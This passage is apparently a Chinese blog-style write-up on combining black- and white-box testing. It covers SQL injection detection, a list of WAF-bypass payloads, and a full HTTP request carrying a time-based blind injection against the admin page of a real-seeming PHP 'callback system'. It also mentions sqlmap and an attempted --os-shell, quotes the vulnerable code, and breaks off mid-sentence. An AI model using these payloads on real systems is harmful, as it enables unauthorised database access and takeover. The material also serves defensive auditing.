前言
在软件或者应用程序测试的广阔领域中,黑白盒测试作为两种核心的测试方法,各自以其独特的视角和手段,为Web应用程序质量的保障提供了坚实的支撑。黑盒测试侧重于功能性验证,而白盒测试则深入代码内部,确保逻辑的正确性。本文旨在探讨如何将黑白盒测试有效结合,并通过公网暴露面的回调系统资产进行实战经验的分享。
黑白盒测试的理论基础分别源自对软件功能和内部结构的分析。黑盒测试,如同一位不知内情的用户,仅通过软件的输入和输出来评估其功能是否符合预期。白盒测试则,通过检查程序的逻辑路径、数据流、参数、用法等等确保每一行代码都经得起推敲。
前期准备
为了减轻手工审计,可以使用工具进行代替!
第一款:
Seay 源代码审计系统是一款开源的代码审计工具,广受安全从业者的关注和使用。它能够帮助开发者和安全人员快速发现 Web 应用程序中的安全隐患,包括 SQL 注入、跨站脚本(XSS)、文件包含等常见漏洞。
第二款:
Fortify 是一款功能强大的静态代码分析工具,由 Micro Focus 公司开发和维护。它能够帮助开发者和安全团队全面扫描应用程序源代码,发现各种安全漏洞,包括注入攻击、跨站脚本、访问控制缺陷等。
一、后端 - SQL注入漏洞(1)
SQL注入判断的方式主要包括以下几种:
- 数字型注入:当输入的参数为整型时,可能存在数字型注入漏洞。通过尝试输入不同的值来判断是否存在漏洞。例如,输入 1' 或 and 1=1 和 and 1=2,观察结果是否有变化。如果结果不同,可能存在数字型注入。
- 字符型注入:当输入参数为字符串时,可能存在字符型注入漏洞。通过尝试输入不同的字符串来判断是否存在漏洞。例如,输入 'admin' 和 'admin' and 1=1 --,观察结果是否有变化。如果结果不同,可能存在字符型注入。
- 其他类型注入:除了数字型和字符型注入,还有其他类型的注入,如搜索型注入、Cookie注入、POST注入等。这些类型的注入通常是数字型和字符型注入的不同表现形式或注入位置不同。
当然在初期如果存在一些比较棘手环境或者存在一些字符、符号等过滤或者Waf之类的可以尝试以下的一些方法,来发现彩蛋,根据个人喜欢的手段,或者使用一些近期公开的Bypass语法!
使用逻辑运算符绕过条件检查:
- 例如 'or'1'='1、'or'a'='a
利用算术运算符绕过条件检查:
- 例如 '+'1'='1、'*'1'='1
利用字符串拼接绕过条件检查:
- 例如 'and'str'='str、'and'chr(97)'='a
利用注释符号绕过条件检查:
- 例如 '//and//1=1、'/!50000and/1=1
利用十六进制编码绕过防御:
- 例如 '%27and%27g%27=%27f、%27or%271%27=%271
利用双重否定绕过条件检查:
- 例如 'and not('g'='f)、'and not(1=2)
回到正文,这个回调系统纯PHP语言开发,开发比较简易一些,但是太过简易,我登陆到后台后随机点了功能,并没有发现什么,但是在编辑功能,厚礼蟹!
/admin/admininfo.php?id=1
几乎发现每个列表的编辑修改功能都存在id这种方式示例。
/admin/codeinfo.php?id=1
那就动手吧,在站长管理-站长修改的“admininfo.php”这里使用’符号直接报错了,这种是一个典型一种手法,快捷方便!
GET /admin/admininfo.php?id=1%27and%27g%27=%27f%27%3BSELECT%20SLEEP%285%29%23 HTTP/1.1
Host: XXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: 1869f3da4f51f3cf057e5e1bfb43dfd2_ssl=1b634fc0-33c5-426d-b012-f4a8ab259f96.BihvnNQt-PttnGjOcnQU8ojbcew; 68c64d273cd94dc60d1a176456542de8_ssl=f7fd524a-8e31-4d3a-8ca7-308172377b35.jzPNyFewCgYPy6oPzK0ieM7MWCs; PHPSESSID=tqi04ejqhrs063k32u92a6lrmq
Priority: u=1
Referer: http://XXXXXXXXXX/admin/webset.php
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
存时间盲注,之前SQLMap去跑,希望不会太长时间!OK,几分钟跑出来!暂的时间不多
这里本来想直接用sqlmap --os-shell写shell的不够权限便秘了!
SQL注入-代码审计
require_once '../includes/common.php'; if ($adminData['adminStatus'] != 1) Tips::error('你没有权限访问此页面', '/admin'); if (empty($_GET['id'])) Tips::error('参数错误', '/admin/adminlist.php'); if ($_GET['id'] == 1 && $adminData['id'] != 1) Tips::error('不能修改首席总站长', '/admin/adminlist.php'); $id = $_GET['id']; $editData = $adminClass->GetAdmin($id); if (empty($editData)) Tips::error('站长不存在', '/admin/userlist.php'); if ($editData['adminStatus'] == 1 && $editData['id'] != $adminData['id'] && $adminData['id'] != 1) Tips::error('不能修改同级站长', '/admin/adminlist.php');
$_GET['id'] 是直接从URL获取的,没有发现任何验证或防御过滤手段。$id 被直接传递给 $adminClass->GetAdmin($id) 方法,然后跟进GetAdmin
,在\includes\class\admin.class.p